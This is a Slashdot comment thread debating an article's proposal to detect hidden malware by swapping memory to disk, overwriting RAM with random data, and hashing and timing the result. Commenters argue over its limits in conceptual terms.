Don't forget the megabyte-sized cache. The most important optimization nowadays, is to make your program parts fit into cache as a whole, since RAM access is extremely slow in comparison. So all you gotta do, is do the same with your malware, but keep it in there when deleted from RAM.

Yes, it's the "keep it in there when deleted from RAM" bit where it all falls down, since you can't actually do that. You don't get direct control over cache. It's not just a little bit of extra fast storage for you to use how you see fit.

Re:register

[makomk]

Yes, it's the "keep it in there when deleted from RAM" bit where it all falls down, since you can't actually do that.

It's not well-documented, but most modern x86 CPUs do have some kind of mode that lets you use cache as RAM. Generally it's used by the early hardware initialization code that sets up the memory controllers.

Some amazingly bad assumptions

[nahdude812]

Sure, malware has to occupy memory. That doesn't mean it has to be its own memory. Buffer overflows are all about corrupting another application's memory space.

His basic argument is that if you want to scan RAM, the kernel can halt all processing except its RAM scanner, and have a go at the RAM safely. If it's particularly insidious malware, it'll try to hide itself in various ways, one of which would be to masquerade the portion of RAM it was using with something legitimate looking (maybe erase that portion of memory). But you know it did this because you can see that memory which was supposed to be free is no longer free. Except the hardware has no concept of free or occupied memory. It just has memory, and the OS keeps track of what's free and not. The OS - the same space where malware is running.

OR, the malware could simply not do this, then its behavior is no different from any legitimate program. So how do you detect it now? You still need definitions that say, "When running in memory, this virus looks like X," then look through memory for that pattern.

Besides, who's to say that the kernel space is guaranteed free of malware itself? Even if you would have successfully identified the threat in RAM, you have no guarantee that the malware hasn't corrupted the identification routine.

It's like someone came along and said, "Hey, you guys are looking for malware wrong. You have to look for it! And I mean really look for it!"

Re:Some amazingly bad assumptions

[benjamindees]

who's to say that the kernel space is guaranteed free of malware itself?

Of course. It's obvious to say that if we can guarantee the kernel, we can reliably use it to scan for malware. What this completely misses, of course, is that the kernel itself can be compromised and there is zero way to guarantee it, after the fact, without a cold boot and poking around in all the stored memory contents of the system.

This fact continually fails to deter the snake-oil salesmen from peddling on-line virus scanning as an infallible cure.

Re:Some amazingly bad assumptions

[Anonymous Coward]

1 Attacker sends an ethernet packet to the PC, containing the part of a virus that the scanner uses as the virus signature.
2 The kernel pulls the packet into RAM using DMA.
    (even if the OS decides to drop the packet before the scanner runs, the packet data may not immediately be overwritten by another packet.)
3 This scanner finds the virus signature in RAM, and decided to kill the program that allocated that RAM (the OS...).
    There are several solutions for this problem, but they all involve the scanner and the OS to cooperate, while the OS can't be thrusted if it is already infected.

If a virus can get access to the operating system kernel, the solution is to fix your operating system, not inventing more scanners

Re:Some amazingly bad assumptions

[noidentity]

Obviously his solution is a computer without any RAM (or ROM). Zero bytes means no space for malware means NO MALWARE. This guy is a genius.

Refuting the imaginary article in your head

[spun]

Still haven't read the article, eh? The technique is to swap everything out except the scanner, then write random bits to the entire memory space, then hash the memory. I could explain it all in greater detail, but, you know, there's this article, already there. Please do try to constrain your criticisms to things that actually apply to the article that was written, you know, the one we can all read. Refuting the imaginary article in your head does nothing for the rest of us.

Re:Refuting the imaginary article in your head

[causality]

Still haven't read the article, eh? The technique is to swap everything out except the scanner, then write random bits to the entire memory space, then hash the memory. I could explain it all in greater detail, but, you know, there's this article, already there. Please do try to constrain your criticisms to things that actually apply to the article that was written, you know, the one we can all read. Refuting the imaginary article in your head does nothing for the rest of us.

I'm glad you guys have managed to work out what the article says.

I have one glaring problem with this system, and all other systems designed to detect running malware: no focus on prevention. I'm glad we have a new tool to detect malware executing on a machine that's already compromised, but that's what all of the new tools I read about intend to do. I don't see much progress being made in terms of the design decisions and best practices that prevent (Windows) machines from getting compromised in the first place.

As good as this technique may or may not be, it's not security. It's damage control. It has this in common with almost every malware "solution" that is ever posted to Slashdot. Where are the researchers who want to prevent intrusion in the first place instead of having lots of clever techniques for identifying/limiting its damage after it happens?

Re:Refuting the imaginary article in your head

[Anonymous Coward]

Ok, you can swap everything out except the scanner. So assume that the malware is hiding inside another process, then it will be swapped out.
Then the hash will be computed etc., and... (surprise) nothing turns out to be wrong.

And the malware will go undetected.
Now, do you understand TF point?

Re:Refuting the imaginary article in your head

[spun]

Protection from malware should function like the immune system, with many lines of defense and many avenues of detection and counter attack. Prevention will never be perfect by itself.

Re:Refuting the imaginary article in your head

[Romancer]

I'm not an expert and not sure if I'm missing something obvious here but what is confusing me is the part about "swap everything out except the scanner". Wouldn't you then just be moving the malware too? Into a protected space that you then have to scan and know what to look for?

If it's a zero day infection then you don't know what to look for and you swapped it out of memory for nothing really. I do get that if it tries to protect itself it will look suspicious but what if it looks like a normal program? A service or scheduled task that could be normal. What if it takes on the guise of an adobe update program in size/hash and function until it is time do act? Say a slight change to your systems dns entries. Then goes dormant again.

This may not be possible but I haven't seen why not and it leaves a pretty big hole for zero day infections that this method claims to be able to catch 100%.

Re:Refuting the imaginary article in your head

[HungryHobo]

After reading TFA I'm still not seeing how this is supposed to detect unknown malware.
As far as I can see it would decide that a new install of any kind was a virus.

Sure if you know every program which is supposed to be installed and none of them do wierd things in memory(a big if) then you might be able to spot when some kind of change has been made but if you can do that then you have a situation where you might as well just re-image the machine from ROM every now and then.

I don't see any amazing new ideas in TFA

Re:Refuting the imaginary article in your head

[spun]

That is a different point. And also not valid. If the malware lets itself get swapped out, it can not interfere with a scan.

Re:Refuting the imaginary article in your head

[Java Pimp]

If the malware gets swapped out it won't be detected in the scan. Which was sopssa's original point at the top of the thread.

Re:Refuting the imaginary article in your head

[clone53421]

If the malware lets itself get swapped out, it can not interfere with a scan.

No. It can not. But you still have no way of guaranteeing that, even if the scan is not interfered with, it will find the malware.

In fact, I will guarantee that no scan will detect 100% of malware, even if the scan isn’t interfered with (by masking the malware in RAM or on the secondary memory).

Re:Refuting the imaginary article in your head

[sopssa]

So the malware will just let itself to be swapped out too? This is especially true if it's running inside another process because you know, if the parent process is getting swapped it can't just continue running there. It will get swapped too.

Even if did run as it's own process and were actively defending it's own memory, wouldn't it be quite trivial to detect that everything is suddenly getting swapped out and go to "sleep" mode?

Re:Refuting the imaginary article in your head

[Java Pimp]

The assumption in the article is that the malware is trying to remain in RAM to actively hide its presence, hence the scan will detect that something's there that shouldn't be. Of course as pointed out elsewhere, the malware could just let itself be swapped out... float away with the rest of the garbage... so to speak.

Re:Refuting the imaginary article in your head

[TheLink]

> have to scan and know what to look for?

If Dr. Markus Jakobsson has solved that, it is strange he hasn't also announced that he has solved the halting problem ;).

Figuring out whether a bunch of bits is or isn't malware is going to be as hard (or harder[1]) to figure out whether a program given a particular input will halt or not.

[1] Especially when that bunch of bits might later on download a new bunch of bits. Yes I know in theory it is impossible to solve the halting problem (no general solution), but in practice some special cases can be solved.

In contrast it's harder to solve the malware problem when you assume they can fetch new instructions and data, and from an active hostile party.

Sandboxing is the way to go. Sandboxing is analogous to avoiding the halting problem by having a time limit on the program.

No need to figure out whether the program is malware or not. Just make sure it can't do what you don't want it to do. Let the OS sandbox it.

Re:Refuting the imaginary article in your head

[Magic5Ball]

"detect unknown malware... a new install of any kind was a virus"

Yes, unless the new software is authorized, it should be considered malware.

"I don't see any amazing new ideas in TFA"

Also, yes. Shockingly, unauthorized software is unauthorized; and you can inspect a running system externally without being owned by that system.

Re:Refuting the imaginary article in your head

[spun]

The assumption in the article is that the malware is trying to remain in RAM to actively hide its presence, hence the scan will detect that something's there that shouldn't be. Of course as pointed out elsewhere, the malware could just let itself be swapped out... float away with the rest of the garbage... so to speak.

And then you could find it with a regular scan, because it wouldn't be actively interfering.

Re:Refuting the imaginary article in your head

[c 0xFF]

The article is assuming the malware is actively trying to hide itself from the scanner by remaining in RAM even after being swapped out.

Of course, there's no reason the malware needs to do that, as far as I know. This scheme might be one piece of the puzzle, but it's not the final solution that the author seems to claim.

Re:Refuting the imaginary article in your head

[HungryHobo]

It doesn't detect zero days.
It's just a proposed mechanism for spotting something which is trying to hide itself in ram.

Re:Refuting the imaginary article in your head

[HeckRuler]

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself. Well, malware may interfere, of course, as it often does, and remain in RAM.

But malware doesn't have to interfere. This method only detects certain kinds of malware that attempts to thwart other programs affecting it's memory. For malware that swaps like any other program, this detects nothing. The author even thinks of a way that malware would thwart his method, but quickly figures out a way to detect that as well. But hey, for that moment that everything is swapped out, you're pretty sure that there isn't any malware running. That moment goes away when you swap it back in, however.

This is not guaranteed to detect malware. It is a method to detect programs that resist being swapped, that's guaranteed for nuthin.

And it requires ALL MY RAM to be swapped, overwritten, and then hashed? That's not a real-time solution. At best that's a button that a sysadmin hits once a week.

Finally, let's pick nits!

But if we know how big RAM is

Shouldn't it be "our RAM" or "the RAM", or something like "the size of the RAM installed" ?

Re:Refuting the imaginary article in your head

[spun]

Nope, I just reread both his posts above, and that wasn't soppsa's original point. However, the simple fact is, if the malware gets swapped out, it can no longer cover its tracks.

Re:Refuting the imaginary article in your head

[edmicman]

Wrong! Abstinence is the one and only preventative answer!

Re:Refuting the imaginary article in your head

[spun]

So, we know how much RAM we have. We know how much space all our valid stuff should be taking. If the malware can't cover it's tracks, it can't hide it's memory footprint. We won't know what it is or what it does, but we will know something extra is there.

Re:Refuting the imaginary article in your head

[HungryHobo]

If you have that much control over what's installed on the system then you might as well just take a snapshot of the system running in a safe state, place any data which needs to change on some kind of hardened remote server(like a seperate database) and just periodically re-image the whole machine from ROM.
Probably be more effective than this proposed system as well.

Re:Refuting the imaginary article in your head

[causality]

Protection from malware should function like the immune system, with many lines of defense and many avenues of detection and counter attack. Prevention will never be perfect by itself.

You're right, prevention will never be absolutely 100% perfect. For those few cases where it fails, there is always "format and install from known good media".

It sounds like you'd be amazed at what a little discipline does for the security of your machines and networks. It's a shame we often talk about security like user expertise and whether the user has good practices has nothing to do with whether a machine gets compromised. I think that's what leads to all of these (good-sounding but phony) comparisons to biological immune systems.

Re:Refuting the imaginary article in your head

[spun]

If the malware isn't active, then it can't hide it's tracks. We will see it's memory footprint.We know how much space everything else should be taking up, and we know more space than that is allocated, so we know something is afoot.

The program would need to be initialized on a known clean system to work properly, I imagine. But it does seem as if it could detect anything coming along after that.

Re:Refuting the imaginary article in your head

[sopssa]

Yes, and what happens when everything gets swapped back? There's the malware again.

If you assume it would be easier to find and delete the malware when it's not resident in memory anymore, then you could do that just fine on another computer and working directly with the hard drive. You would need to do that anyway, since your RAM is swapped out. AV's are already quite integrated in to the system, never can delete anything (so you would need to do it by hand) and in worst case scenario could do the deleting upon reboot. So, what's the point?

Re:Refuting the imaginary article in your head

[Anonymous Coward]

That is correct. But TFA begins by pointing out the drawbacks to regular scanning which has trouble with 0-day and unknown malware, and goes on to explain why their approach is better. Their approach assumes the malware is trying to stay active.

I'm not saying it won't work... I'm sure it will work for a lot of malware. I'm just saying it is not infallible. 0-day malware can defeat it just by going to sleep.

Re:Refuting the imaginary article in your head

[spun]

Wrong. Read the article. If the malware lets itself get swapped out, it can't hide it's memory footprint. We won't know what it is or what it does, but we will know there is something there that shouldn't be. Assuming we initialize this program on a known clean system, and use an external verifier to check for lag.

"That's not a real time solution" Congratulations. You have found a valid critique of the actual technique.

Re:Refuting the imaginary article in your head

[Java Pimp]

Sorry, that anonymous post was mine. Don't know how that box got checked...

Re:Refuting the imaginary article in your head

[spun]

Phony how? Good hygiene helps against real disease, too.

Re:Refuting the imaginary article in your head

[palegray.net]

If the malware gets swapped out it won't be detected in the scan.

Wrong again. Please go read the article.

Re:Refuting the imaginary article in your head

[sopssa]

But like I said in the very beginning, if it resides inside another process there isn't any extra memory allocated. It's just using empty space inside another program.

Re:Refuting the imaginary article in your head

[benjamindees]

Where are the researchers who want to prevent intrusion in the first place instead of having lots of clever techniques for identifying/limiting its damage after it happens?

They're at home, unemployed, reading Slashdot on a completely secure text console.

Re:Refuting the imaginary article in your head

[spun]

If the malware let's itself get swapped out, then it can't hide it's memory footprint. Assuming we have started from a known clean machine, it is then trivial to figure out what the memory footprint should be. If it is larger than it should be, there is swapped out malware.

The point is, the malware will be detected whatever it chooses to do.

Re:Refuting the imaginary article in your head

[clone53421]

From TFA:

Anti-virus products scan for malware in two ways. They look for sequences of bits that are found in programs that are known to be bad (but which are not commonly found in good programs). And they run programs in sandboxes and look for known malicious actions. The first approach only catches known malware instances, while the second can also catch variants of these.

His “solution”:

Create a sandbox consisting of all available RAM which definitely contains no “good” programs except for the scanner. Scan the sandbox to detect any “bad” programs that remained (by looking for the malicious action of attempting to mask its process RAM). Then scan the hard disk for sequences of bits that are found in programs that are known to be bad (but which are not commonly found in good programs).

Thus, it is subject to exactly the same limitations that he was trying to improve upon.

Re:Refuting the imaginary article in your head

[spun]

Yes, well, if the malware let's itself get swapped out, it can not hide its memory footprint. If we started from a known clean machine, we will know how much memory everything valid should be using. If there is more memory allocated, then there is malware.

It's getting kind of boring explaining the article over and over again.

Re:Refuting the imaginary article in your head

[YayaY]

You might as well shutdown the computer...

Re:Refuting the imaginary article in your head

[cynyr]

do not plug in the computer and you'll be safe...
granted you will then have a large paper weight.

Re:Refuting the imaginary article in your head

[spun]

If we start from a known clean machine, we know how much memory each (clean) process should take up. If malware deletes a part of a process to make room for itself, that would be trivial to detect too. There is no 'empty space' in a rpogram's code segment.

Otherwise, we just look at the memory footprint. We know how much all valid code segments should be taking up, so if we see something extra, we know there is swapped out malware.

Re:Refuting the imaginary article in your head

[Java Pimp]

It's getting kind of boring explaining the article over and over again.

You mean the part they say they don't even need to start with a clean machine?

Re:Refuting the imaginary article in your head

[spun]

Malware has to take up space. That space is what we are looking for. There is no scanning for specific patterns involved. Try rereading the article. I'm getting bored explaining it over and over again. Suffice it to say, you haven't understood it yet.

Re:Refuting the imaginary article in your head

[Chris Mattern]

If the malware isn't active, then it can't hide it's tracks. We will see it's memory footprint.We know how much space everything else should be taking up, and we know more space than that is allocated, so we know something is afoot.

Unless, of course, the infected system is lying to you about the memory allocations.

Re:Refuting the imaginary article in your head

[spun]

If you are running a load balanced cluster, that isn't a problem. Nor is it a problem on a home or office computer, just let it work when you aren't using it.

Re:Refuting the imaginary article in your head

[Cid Highwind]

We know how much space all our valid stuff should be taking.

Not really. We know how much space our supposedly-valid stuff is taking right now, but that doesn't tell us whether any of that space contains code injected by some unknown malware.

Re:Refuting the imaginary article in your head

[sopssa]

What memory footprint is that? The polymorphic code residing inside another process?

There is plenty of empty space inside processes when it's mapped to memory. If it's polymorphic code you won't even find it with scanning, and even if it isn't, it can still semi-intelligently map itself to different blocks of empty space in that process.

You also cannot have clear snapshots of any program in memory, you can only have how it looks on disk. Theres various copy protection systems and the programs like Skype that self-modify itself to protect their code. Every program also modifies their .data section as that's where they store their memory - a place where such malware can also reside and execute.

Re:Refuting the imaginary article in your head

[spun]

Okay, THAT I don't get. As far as I can tell, this technique is not guaranteed to find 0-day malware that has infected the machine before the scanner is in place, unless that malware tries to resist detection.

Re:Refuting the imaginary article in your head

[BrokenHalo]

...reading Slashdot on a completely secure text console.

Don't knock it until you've done it.

Re:Refuting the imaginary article in your head

[Runaway1956]

"As good as this technique may or may not be, it's not security."

Ehhh, you could have been a sailor. Back in the day, we had "security alert" drills, to deal with "intruders" all the time. But, that's all we ever had, were drills. The REAL security was focused OUTSIDE! If some boat, ship, helicopter, or even a frogman came close to our ship, we just blew them out of the water or sky. There was never a need to look for an intruder INSIDE the ship!

The most likely time and place any intruder might get aboard, was when we were tied up to a pier. Social engineering MIGHT cause some young fool to bring a malevalent guest aboard. But, the OOD, the POOW, and the duty section were all there to screen for potential bad people.

Trying to find the bad guy AFTER he comes aboard would be utterly ridiculous. He only needs a minute or two to plant his bomb, his bug, or whatever the hell he was there to do.

Security means killing it before it gets here. So, yeah, I like the way you think. Now, the problem is, convincing others to think that way. Most especially, those others at Microsoft.

Re:Refuting the imaginary article in your head

[clone53421]

But if it doesn’t try to hide, there’s no guarantee you’ll detect it. You might swap it out and still not detect it because your scan didn’t have the virus in its signature database.

Re:Refuting the imaginary article in your head

[Anonymous Coward]

Yes, and what happens when everything gets swapped back? There's the malware again.

Sorry for feeding the trolls

But what the hell are you talking about?

What happens when everything gets swapped back? Well the answer is the malware is back running.
You even answer that!

Why ask a question, answered in the article, and by you, and is simply understood by everyone else?
Why force me to waste even more bandwidth to lower the noise your stupidity causes?

Thanks for pointing out the stated and obvious.
Yes, the malware is back. But since that part can't happen until AFTER the scan is done, you will now know you have malware when before you did not know either way.

The little part you made up about it somehow removing malware, when no one else but you even mentioned that, doesn't deserve an answer.

Re:Refuting the imaginary article in your head

[spun]

The author says that this technique will work on pre-infected machines, for 0-day malware. I'm not buying that. But it does seem to be foolproof if you start from a known clean machine.

Re:Refuting the imaginary article in your head

[spun]

So what if it is? It still boils down to 'let yourself get overwritten, and be unable to cover your tracks' or 'try to stay in control, by writing out the random bits that need to be correctly hashed to secondary storage and give yourself away through the delay.'

Re:Refuting the imaginary article in your head

[drsmithy]

I don't see much progress being made in terms of the design decisions and best practices that prevent (Windows) machines from getting compromised in the first place.

That's because you can't stop someone who wants to see the dancing bunnies.

Re:Refuting the imaginary article in your head

[nabsltd]

Suffice it to say, you haven't understood it yet.

I think these people have all understood the article quite well, and are pointing out real flaws with this scanning method.

The #1 flaw is the assumption that an exact byte count of what is running can be known if malware is also running on the system.

If malware is actively running, then if scanning code calls any outside functions, the results must be considered tainted. Since there is no way for code that does not query the OS to even guess about what else is loaded in RAM, sufficiently intelligent malware will be able to hide itself from any scan. Hell, you can't even determine how much RAM is in a computer running in x86 protected mode without calling some OS or BIOS function, either of which can be hooked by the malware.

One of the other assumptions is that the time it takes to compute a hash of RAM on a particular machine can be known with enough precision to detect that it is being "delayed" by malware.

Last, there is one piece of code that can never be swapped out to disk, and will likely show up as malware as it refuses to be overwritten: the code that swaps and restores pages to/from disk.

Re:Refuting the imaginary article in your head

[spun]

Plenty of empty space in the code segments? How so? There are not 'empty blocks' that malware can put itself into, it will either need to delete things (and break things in the program) or enlarge the program.

Re:Refuting the imaginary article in your head

[spun]

The article does not suggest scanning for signatures. We are scanning for size. If we know the size of all the stuff that should be in memory, we will know if there is something extra.

Re:Refuting the imaginary article in your head

[clone53421]

No, YOU are the one who doesn’t understand the concept of what is happening.

Looking for “space” that is occupied by malware in this manner will only detect malware that attempts to hide itself. There are multiple ways of defeating this scan, not the least of which is simply to not attempt to hide, allowing itself to be swapped out of memory like any other application.

In which case, you would not be “guaranteed” to detect all malware, because you’d be scanning it in the swap file like any other application and you’d be depending on your signature database to find the malicious code. It didn’t do the one malicious action that you were relying on to give away its presence.

Re:Refuting the imaginary article in your head

[Runaway1956]

Alright. How does a malware add itself to an already running process, without altering the size and/or the fingerprint of the running process? I think it's safe to say that all common applications that are normally permitted to run in a corporate setting have already been fingerprinted to hell and back. How does the malware change the application without changing that fingerprint in any way?

Re:Refuting the imaginary article in your head

[melikamp]

What if malware figures out the PRNG state (so that it can fill in spaces) and then moves itself around while the checksum is being computed? This whole thing reminds me of Core War.

Why in the world we won't go back to a system with RAM access control burned in hardware? Keep the process table and the memory allocation table outside of RAM, and make it impossible to access other apps' pages. There must be a downside to it I cannot see.

Re:Refuting the imaginary article in your head

[spun]

You still don't even understand how this technique is supposed to work. I don't know if it will or not, but nobody has raised a real, valid critique yet. I'm done. I was just arguing this for the sake of a good argument, but I am now bored out of my skull repeating myself over and over.

Re:Refuting the imaginary article in your head

[spun]

If it let's itself be swapped out, it can not hide it's memory footprint. The article never mentioned scanning for signatures, which is how I know you have either not read it, or failed to understand it.

But I'm done. I played devil's advocate for this technique, against people who had not, and still fail to raise any valid criticisms. But at this point, I have to assume that people are willfully misinterpreting the article in order to 'win' the debate with me. Boring. I'm tired of trying to explain it. Suffice it to say, you still don't get it, but don't try to convince me because I am now officially bored to tears with the whole debate.

Re:Refuting the imaginary article in your head

[clone53421]

all the stuff that should be in memory

Once the virus has installed itself properly, it “should” be in memory just like everything else “should” be in memory.

He proposes that we detect malicious software by attempting to remove it from memory, and then scanning to make sure that the memory is really “empty”. But if the virus didn’t try to keep itself active during the scan, you’ll have to detect it by conventional means: scanning the disk for its signature.

Re:Refuting the imaginary article in your head

[sopssa]

Plenty of empty space in the code segments? How so? There are not 'empty blocks' that malware can put itself into, it will either need to delete things (and break things in the program) or enlarge the program.

And with this comment we can conclude you don't know how PE files are mapped in to memory in Windows.

There's plenty of unused space between functions for example, usually INT3 opcodes which never get run as they're outside the program execution path. PE code sections usually also contain a lot of zero-byte 00 memory mapped, which again isn't in use, but is still allocated. Read more here, it's also used when making cheats to games. And that's only way to inject your code in to existing program, and doesn't change it's memory allocation at all.

Re:Refuting the imaginary article in your head

[sopssa]

Only one way, not the only way.. Damn preview.

Re:Refuting the imaginary article in your head

[nabsltd]

If we start from a known clean machine

By doing this, there's really no reason to run any high-tech malware detector, as this assumes you have two machines that are identical in every way except one might have malware while the other is known to be clean. If that's the case, just clone the one that is known to be clean and you now have two known clean machines.

In other words, there is no way to use an external machine to assist you in determining things like memory used by a process because you can't have both a clean machine and one infected by malware and have them identical enough to get a meaningful comparison.

There is no 'empty space' in a rpogram's code segment.

There very often is, as pages are 4096 bytes (at least, normal pages on x86 are this size), and it's rare to have code completely fill the page.

Since all the protections on x86 are at the page level, malware can hide in the bytes after the real executable. This type of technique has been used for years (malware used to hide in the file slack on floppy disks).

Re:Refuting the imaginary article in your head

[poetmatt]

without my understanding, my initial reaction was "how was this new" and/or "will this even work"? You seem to feel that it will.

Care to clarify as to why it would/wouldn't? I'm trying to wrap my head around this thing, and nothing says "ah, this would work".

From what I understand, they're hashing the ram itself is supposedly versus ram with the malware there. Meanwhile, I fail to figure out how that is possible without continuously hashing the ram, which would, well, change the hash constantly given whatever programs are running. It sounds like a logical conundrum to me. Just because you know that you have 6 gigs of ram doesn't tell you why the hash is going to exclusively be modified by the malware versus, you know, everything else running.

Re:Refuting the imaginary article in your head

[clone53421]

The article never mentioned scanning for signatures

Read the damn article. I already quoted the part in question:

They look for sequences of bits that are found in programs that are known to be bad (but which are not commonly found in good programs)

I.e., scan for its signature. That is how conventional antivirus works, and it is how his idea falls back to working if it doesn’t detect anything that’s trying to hide. So if it doesn’t detect anything trying to hide, it has to scan for it conventionally.

This is just an elaborate scheme to ensure that the RAM isn’t infected. Maybe I need to explain.

A known clean system is used for scanning other systems because you know its RAM isn’t infected. The infected system can’t reliably be used to scan itself, because if has a rootkit, an active virus could be residing in RAM, either feeding your scanner false results or simply hiding there until the scan completes.

So, his idea is this:

Flush everything out of RAM, and fill it with garbage. The RAM *should* now be clean. Generate a checksum of this “clean” RAM.

Read the entire contents of the RAM again, generating a second checksum. This second checksum should match the first one.

If the checksums do not match, you wrote a value and read something different which means one of two things: Bad RAM, or a virus is hiding itself.

If the checksums match but weird timing anomalies were detected, a virus is hiding itself.

If the checksums match and no weird timing anomalies were detected, the RAM is now clean.

If the RAM is clean, you can then scan the secondary storage just as if you were using a clean system to do the scan, with the same reliability in your results.

However you would be subject to exactly the same limitations as you normally are in using a clean system to scan the secondary storage of an infected system: you have to use your signature database to detect viruses in the bytes on the disk.

Re:Refuting the imaginary article in your head

[izomiac]

I'd hope we could do a lot better than the human immune system. It usually keeps us alive, but we get all kinds of infections and many persist for a lifetime. Also, there's a whole class of autoimmune diseases caused by false positives and even a normal immune system can easily overreact and kill a person (e.g. septic shock).

Current computers still do a lot better than most humans. Bacteria on the skin and in the gut outnumber our own cells ten to one. While many are beneficial, we don't really get any say in whether they're there or not, so the equivalent of a low impact botnet that prevents the installation of other botnets. A new computer might get infected in minutes on an open internet, but the number of infections is still an order of magnitude lower than how many illnesses a child will get.

Re:Refuting the imaginary article in your head

[sabt-pestnu]

Refuting the imaginary article in your head does nothing for the rest of us.

I'm sorry about that. Every time I think about the article itself, it takes me a bit longer than it really should. Perhaps I have a ... virus or something.

Re:Refuting the imaginary article in your head

[bwcbwc]

That would have been great 2-3 years ago. With SSDs, that delay is shrinking very fast.

I suppose if the external verifier runs at the highest system priority it won't be subject to variation in access times as it gets swapped out, which would allow it to increase the sensitivity of the delay measurement. And if the malware is running at the highest available priority it would impact system performance in other ways.

It will be interesting to see the direction the arms race takes from here. Of course the ultimate counter to this is to infect the external verifier. It still comes down to "who do you trust".

Re:Refuting the imaginary article in your head

[bwcbwc]

Yeah, the real issue is how do you keep the "external verifier" from being infected, which would circumvent the whole scheme.

Re:Refuting the imaginary article in your head

[clone53421]

But it does seem to be foolproof if you start from a known clean machine.

That’s the whole point of his system: to scan from a machine that isn’t known to be clean.

The standard way to scan from a “known clean machine” is one of the following:

1) Use a known-clean boot CD. This ensures that the system RAM is clean. Once booted into the clean system, scan the possibly-infected secondary storage devices.

2) Use a separate known-clean computer. Its system RAM is clean. Attach the possibly-infected secondary storage devices from the first computer to the known-clean computer and scan them.

The 3rd way, which is not foolproof, is to attempt to avoid a boot CD or second computer by scanning the system RAM. Once the system RAM is known to be clean, you can proceed from there as in either 1 or 2 above. However, there is no foolproof way to ensure that the RAM of a running system is clean.

He proposed a “foolproof” way to ensure that the RAM of a system is clean (without shutting it down and booting it from a clean boot device). That’s the only thing that makes his suggestion useful.

However, it isn’t foolproof, and even you see that.

FWIW, RootkitRevealer uses exactly the same method, so it’s not like this guy came up with anything novel. In fact, RootkitRevealer even has the disclaimer:

note: RootkitRevealer is not intended to detect rootkits like Fu that don't attempt to hide their files or registry keys

It only finds things that are trying to hide. If they aren’t trying to hide, you have to scan them conventionally.

Re:Refuting the imaginary article in your head

[Anonymous Coward]

You want to prevent infection? Take away the mouse. The vast majority of infections were manually installed by the user. You just can't code around willful stupidity. On the other hand, being able to PROVE that a system was uncompromised would be very valuable indeed.

Re:Refuting the imaginary article in your head

[gomiam]

I'm sure Virgin Mary would agree with you ;)

Re:Refuting the imaginary article in your head

[Anonymous Coward]

My pen gave me anthrax

Re:Refuting the imaginary article in your head

[jimbolauski]

While that make work in a tightly controlled environment being able to verify every program that has been installed on every computer would be impossible.

Re:Refuting the imaginary article in your head

[maestroX]

I'm not an expert and not sure if I'm missing something obvious here but what is confusing me is the part about "swap everything out except the scanner". Wouldn't you then just be moving the malware too?

No. Symantec is the scanner.

Re:Refuting the imaginary article in your head

[nschubach]

Computer prophylactics...

Re:Refuting the imaginary article in your head

[_LORAX_]

I think what GP was trying to say is what if the malware has altered the the reported amount of memory in the system and is now hiding in the chunk that neither the bios nor the OS believes exists?

How about hiding in any number of IO mapped chunks of memory like the BIOS or Video Ram?

Re:Refuting the imaginary article in your head

[Anonymous Coward]

Not to mention the fact that it wouldn't be able to distinguish between being delayed by malware or being delayed by being in a VM.

Re:Refuting the imaginary article in your head

[barbariccow]

To 'swap everything out' except the scanner would mean all processes would have to be locked - (read: this means FULL SYSTEM FREEZE), also note that any virus can simply modify the code which does this check to not do it.

A full dump of ram will require, by definition, swap to disk, and some parts of ram must remain mutable (processor's cannot act on things not in ram/register). At 80 MB/s with 16G of ram... I think you can see the point.

By stopping everything and trying to write everywhere, and computing whether it succeded, This seems to be an over-glorified "Detect if parts of memory can't be modified". Spoiler alert: Always true. Try to write to memory 0x80 (must be done inside kernel - else it's virtual)

Re:Refuting the imaginary article in your head

[jpate]

Just because you know that you have 6 gigs of ram doesn't tell you why the hash is going to exclusively be modified by the malware versus, you know, everything else running.

Before you hash the RAM, everything except the verifier gets swapped out of RAM to disk. This means that nothing except the verifier should be running. If malware ends up getting swapped to disk, it's no longer running, but it's also taking up space (on disk) that can be detected. If the malware does not get swapped to disk, then it must be modifying RAM in some way. The business about checksums and timing checksums is just a way of seeing if something is running that should not be running.

Re:Refuting the imaginary article in your head

[jimbolauski]

Lets say I write a piece of malware that is unknown and it attaches itself to any program that is used regularly. You move my program over to the HD and I don't hide, you don't see me in ram. The program I infected is not common so you don't have a way to verify it so I pass the HD scan too. Every time my host program runs I check for my zero day command. My zero day comes pwnd!

Re:Refuting the imaginary article in your head

[electrostatic]

Finally, a comprehensible explanation.

Re:Refuting the imaginary article in your head

[poetmatt]

okay, so followup question as others have posted: is there no way for malware to hide itself within the space on the disk?

Re:Refuting the imaginary article in your head

[Anonymous Coward]

Tell that to Jesus's Mom.

Re:Refuting the imaginary article in your head

[jpate]

It might be able hide if it does get swapped to disk, I just don't know. I do know, however, that if it's swapped to disk, it is not running and so cannot engage in the tricks that malware usually does to avoid detection. It can no longer stop the verifier from scanning it and running more conventional virus detection techniques. I'm a little skeptical that this is foolproof against a zero-day attack that will let itself get swapped out, since the checksums can match with no delay and conventional virus detection techniques are less likely to work.

Re:Refuting the imaginary article in your head

[clone53421]

To “hide” itself, either on the disk or in RAM, it has to intercept and emulate the read/write operations that would access the portion of RAM/disk on which it is stored. To do this, it must be actively running and residing in RAM.

If you try to read the disk/RAM where the virus is residing, it will give you garbage instead. If it is an especially clever virus, if you write to that location first and then read it, it will give you the value that you just wrote there. This does, however, mean that the value had to be cached somewhere else.

The way this is supposed to clean your RAM is simple:

Move all the RAM to disk. Fill the entire contents of RAM with garbage. Malware attempting to hide in RAM has to intercept all memory write instructions and do one of two things: (1) simply drop writes that would have overwritten it, or (2) cache the data somewhere on secondary storage in case you try to read it later.

You then read the entire contents of RAM again. If the virus did (1), this will not be the same as what you wrote, so you can detect the virus. If the virus did (2), this will be the same as what you wrote, but the virus will have to access secondary storage, so it will take much longer than simple memory write/read ought to take. Since your scanner has 100% of the resources during the scan (it should be the only process residing in memory), it can detect this as well.

End result, you are guaranteed to detect any virus that remains in RAM and blocks your attempt to overwrite the RAM that it occupies.

However, it does not take into account the fact that a virus with this level of dug-in kernel access could also (A) corrupt your scanner algorithm to always make it return a false negative; (B) corrupt your checksums so that it looks like what you wrote and read were exactly the same; (C) falsify the values returned by the system clock so that you can’t detect the difference in timing between straight RAM access and the read/write operations that had to be cached to disk to avoid overwriting the virus. There are probably other things it could do as well, that I’m just not thinking of.

